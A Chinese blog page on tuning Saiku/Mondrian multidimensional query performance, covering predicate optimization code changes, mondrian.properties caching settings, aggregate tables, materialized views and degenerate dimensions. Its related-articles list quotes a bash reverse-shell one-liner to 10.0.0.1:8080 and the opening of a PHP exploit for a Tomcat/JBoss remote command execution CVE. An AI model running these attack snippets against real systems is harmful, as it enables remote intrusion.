1、优化查询精度

优化原因:当维度过多时,查询很复杂,效率较慢。因此看能否通过优化sql的方式来提高查询效率。

代码跟踪查看(维度多余3时查询条件里面有in,优化不用in关键字)

    public abstract class AbstractQuerySpec implements QuerySpec {
protected Map<String, String> nonDistinctGenerateSql(SqlQuery sqlQuery){
String expr = column.generateExprString(sqlQuery); StarColumnPredicate predicate = getColumnPredicate(i);
final String where = RolapStar.Column.createInExpr(
expr,
predicate,
column.getDatatype(),
sqlQuery);
if (!where.equals("true")) {
sqlQuery.addWhere(where);
}
public class Aggregation {
createSegments{
new Segment(
    star,
    constrainedColumnsBitKey,
    columns,
    measure,
    predicates,//这里 : [true, true, true, F_JCJY_CODE_SSQ.SFDM={230000, 370000}] 当为具体数值不为true时使用了in(230000,370000)
    Collections.<Segment.ExcludedRegion>emptyList(),compoundPredicateList);
private StarColumnPredicate[] initPredicates() {
StarColumnPredicate[] predicates =
new StarColumnPredicate[columns.length];
for (int j = 0; j < columns.length; j++) {
Set<StarColumnPredicate> valueSet = valueSets[j]; StarColumnPredicate predicate;
if (valueSet == null) {
predicate = LiteralStarPredicate.FALSE;
} else {
ValueColumnPredicate[] values =
valueSet.toArray(
new ValueColumnPredicate[valueSet.size()]);
// Sort array to achieve determinism in generated SQL.
Arrays.sort(
values,
ValueColumnConstraintComparator.instance); predicate =
new ListColumnPredicate(
columns[j],
Arrays.asList((StarColumnPredicate[]) values));
} predicates[j] = predicate;
}
return predicates;
}
AggregationManager.loadAggregation(
cacheMgr,
cellRequestCount,
measuresList,
columns,
batchKey,
predicates,
groupingSetsCollector,
segmentFutures);
predicates = aggregation.optimizePredicates(columns, predicates);
public StarColumnPredicate[] optimizePredicates(
RolapStar.Column[] columns,
StarColumnPredicate[] predicates)
{

跟踪到最后,来到下面的代码处

if (MondrianProperties.instance().OptimizePredicates.get() || bloats[j] == 1){
newPredicates[j] = new LiteralStarPredicate(columns[j], true);//设置为ture
}

第一个条件

MondrianProperties.instance().OptimizePredicates.get()

配置mondrian.properties里面的(默认也是true)
mondrian.rolap.aggregates.optimizePredicates=true

第二个条件

bloats[j] == 1

mondrian包里面的Aggregation类的optimizePredicates方法修改如下:

if (valueCount < 2) {
bloats[i] = 1.0;//原来是0.0
continue;
} if (valueCount > maxConstraints) {
bloats[i] = 1.0;
continue;
} 而 maxConstraints 是在 mondrian。properties里面配置的。
默认是:1000,表示如果in里面的值小于1000个时,采用in精细化查询,否则不带in查询语句。这里我们配置为1. mondrian.rolap.maxConstraints=1

总结:需要修改的地方如下:

#Aggregation类
if (valueCount < 2) {
bloats[i] = 1.0;//原来是0.0
continue;
} #mondrian.properties配置文件
mondrian.rolap.maxConstraints=1
mondrian.rolap.aggregates.optimizePredicates=true

注意:后来发现,查询效率慢主要是因为查询出的结果需要经过一系列的矩阵变换计算和递归计算,是作为数据的后处理操作。

如果报出内存溢出,请增大应用内存。

2、缓存结果

查询后将结果缓存,以便第二次查询时提高查询效率

配置mondrian.properties

//开启聚合表功能
mondrian.rolap.aggregates.ChooseByVolume=true
mondrian.rolap.aggregates.Read=true
mondrian.rolap.aggregates.Use=true
//缓存结果集
mondrian.rolap.cellBatchSize=0
mondrian.rolap.star.disableCaching=false
mondrian.expCache.enable=true
mondrian.rolap.EnableRolapCubeMemberCache=true
mondrian.result.highCardChunkSize=50
mondrian.rolap.evaluate.MaxEvalDepth=1

//允许监控内存、显示维度前缀、空值处理
mondrian.util.memoryMonitor.enable=true
mondrian.olap.elements.NeedDimensionPrefix=true
mondrian.olap.NullMemberRepresentation=\u7a7a
//sql处理
mondrian.rolap.generate.formatted.sql=true
mondrian.rolap.maxSqlThreads=1000

3、其他方式

(1)使用聚合表

聚合表是数据仓库中包含事实数据的汇总信息的表

(2)建立物化视图

将查询的结果集先通过建立视图,定时跑批数据到视图中,直接查询视图得到结果,避免了查询时去计算。
简化计算和查询过程。

(3)退化维度

如果一个维度有很多可能,如学校作为维度有很多值。
这时候不再使用学校ID和表关联,而是直接将学校名称写到和他关联的表里面去。
这样就相当于少关联一张表,加快查询的效率。

[saiku] 优化多维度查询效率的更多相关文章

  1. 注意使用 BTREE 复合索引各字段的 ASC/DESC 以优化 order by 查询效率

    tbl_direct_pos_201506 表有 190 万数据.DDL: CREATE TABLE `tbl_direct_pos_201506` ( `acq_ins_code` char(13) ...

  2. mysql update join优化update in查询效率

    数据库版本:5.6.16 update in 修改数据,结果执行时间过慢,一直不出结果. SQL语句及执行计划如下: UPDATE erp_order_extra SET last_time=1231 ...

  3. neo4j - 查询效率的几种优化思路

    最近在公司实习做的就是优化neo4j图形数据库查询效率的事,公司提供的是一个在Linux上搭建且拥有几亿个节点的数据库.开始一段时间主要是熟悉该数据库的一些基本操作,直到上周才正式开始步入了优化数据库 ...

  4. 查询效率提升10倍!3种优化方案,帮你解决MySQL深分页问题

    开发经常遇到分页查询的需求,但是当翻页过多的时候,就会产生深分页,导致查询效率急剧下降. 有没有什么办法,能解决深分页的问题呢? 本文总结了三种优化方案,查询效率直接提升10倍,一起学习一下. 1. ...

  5. sqlserver 数据查询效率优化

    首先优化是具体情况具体分析,从硬件.改进表结构.索引.改进sql查询语句.存储方式都有关系等多方面入手 比如单表数据量(100w-200w条)不大的情况下,查询效率慢 可以从优化sql语句.对多个排序 ...

  6. 提高SQL查询效率(SQL优化)

    要提高SQL查询效率where语句条件的先后次序应如何写 http://blog.csdn.net/sforiz/article/details/5345359   我们要做到不但会写SQL,还要做到 ...

  7. mysql in 子查询 效率慢 优化(转)

    mysql in 子查询 效率慢 优化(转) 现在的CMS系统.博客系统.BBS等都喜欢使用标签tag作交叉链接,因此我也尝鲜用了下.但用了后发现我想查询某个tag的文章列表时速度很慢,达到5秒之久! ...

  8. mysql处理上百万条的数据库如何优化语句来提高处理查询效率

    1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引. 2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索 ...

  9. mysql数据库的优化和查询效率的优化

    一.数据库的优化 1.优化索引.SQL 语句.分析慢查询: 2.设计表的时候严格根据数据库的设计范式来设计数据库: 3.使用缓存,把经常访问到的数据而且不需要经常变化的数据放在缓存中,能节约磁盘IO: ...

随机推荐

  1. win7下如何安装JDK

    第一步:点击下载好的JDK安装程序,百度一下,网上很多,然后弹出如下界面,点击“下一步”即可. 2 第二步:此时比较关键,设置安装的路径,可以事先建立一个文件夹,以在D盘为例,如D:\java. 3 ...

  2. Cacti中文版在Centos上的安装

    最近老有人问Cacti中文版在哪下载啊怎么安装啊,我在这里一遍给大家讲解了:Cacti中文版在Centos上的安装 1.基本安装 cacti是运作在apache+php+mysql+net-snmp工 ...

  3. PigSPS: a database for pig SNPs and signatures of positive selection

    URL: http://www.ibiomedical.net/pigsps/ keywords: pig, boar, SNP, positive selection, database, db, ...

  4. 反弹shell的十种姿势

    bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ,注意某些linux不支持 perl版本: perl -e 'use Sock ...

  5. [CVE:2013-4810]Apache Tomcat/JBoss远程命令执行

    <?php $host=gethostbyname($argv[1]); $port=$argv[2]; $cmd=$argv[3]; //small jsp shell //change th ...

  6. SQL语句like子句中的转义符

    如果想在SQL LIKE里查询有下划线'_'或是'%'等值的记录,直接写成like 'XXX_XX',则会把'_'当成是like的通配符.SQL里提供了 escape子句来处理这种情况,escape可 ...

  7. CALayer总结(一)

    1.geometryFlipped   设置为yes,则子图层或者子视图本来相对于左上角放置 改为 相对于左下角放置: 2.contents 3.contentGravity: kCAGravityC ...

  8. Installing Python 3.5.2 from source

    Here are the procedures we are to follow, Download the source code of an official Python release. Co ...

  9. Codeforces Round #287 (Div. 2) C. Guess Your Way Out! 思路

    C. Guess Your Way Out! time limit per test 1 second memory limit per test 256 megabytes input standa ...

  10. 个人阅读作业 The Last

    对于软件工程M1/M2的总结: 假象-MO 在团队开发的前期,我感觉自己其实给了自己很多的期待,因为一直希望着自己可以在团队中担任一个角色,用自己的力量为团队多做事情,也给了其他人一些假象,那就是看起 ...